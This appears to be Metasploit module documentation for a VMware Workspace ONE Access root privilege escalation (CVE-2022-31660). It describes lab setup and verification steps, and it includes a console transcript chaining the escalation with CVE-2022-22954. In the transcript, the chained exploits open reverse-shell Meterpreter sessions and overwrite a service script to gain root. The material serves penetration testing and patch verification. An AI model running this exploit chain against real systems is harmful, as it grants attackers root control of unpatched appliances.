## Vulnerable Application
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of
the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control
is permitted via the sudo configuration without a password.

### Setup

To exploit this vulnerability in conjunction with CVE-2022-22954, follow [Installing and Configuring VMware Workspace
ONE Access] or simply import the OVA into a **VMware hypervisor**. The target should be vulnerable to both
vulnerabilities out of the box.

The HW-150533, HW-154129, and HW-156875 patches may be optionally applied. In this case, a session will need to be
opened by some means to the appliance as the `horizon` user in order to be exploitable. This is most easily accomplished
by [resetting the root password], logging in locally, and then configuring SSH. Patches can be obtained from [VMware's
Website]. Steps to reset the `root` password are available [here].

[Installing and Configuring VMware Workspace ONE Access]: https://docs.vmware.com/en/VMware-Workspace-ONE-Access/21.08/workspace_one_access_install/GUID-0FABD001-050B-4A54-B100-2FA4E8F55613.html
[VMware's Website]: https://customerconnect.vmware.com/en/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1192&rPId=79985
[resetting the root password]: https://kb.vmware.com/s/article/76530

## Verification Steps

1. Setup a vulnerable VMware instance (see the steps above).
2. Start msfconsole.
3. Obtain a session on the vulnerable instance.
    * It is recommend to use either `exploit/linux/http/vmware_workspace_one_access_cve_2022_22954` if the target is
      vulnerable to it or, alternatively, `exploit/multi/ssh/sshexec`.
4. Do: `set SESSION -1`
5. Optionally set the PAYLOAD and related options.
6. Do: `run`
7. If the target is vulnerable, the payload should be executed.

## Options

## Scenarios

### VMware Workspace ONE Access 21.08.0.1
In the following scenario, initial access is gained by first exploiting CVE-2022-22954. Once the session is opened, it
is elevated to root by exploiting CVE-2022-31660.

```
msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options

Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.159.98   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400

meterpreter > sysinfo
Computer        : photon-machine
OS              : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background
[*] Backgrounding session 1...
msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run

[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : photon-machine
OS              : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter >
```
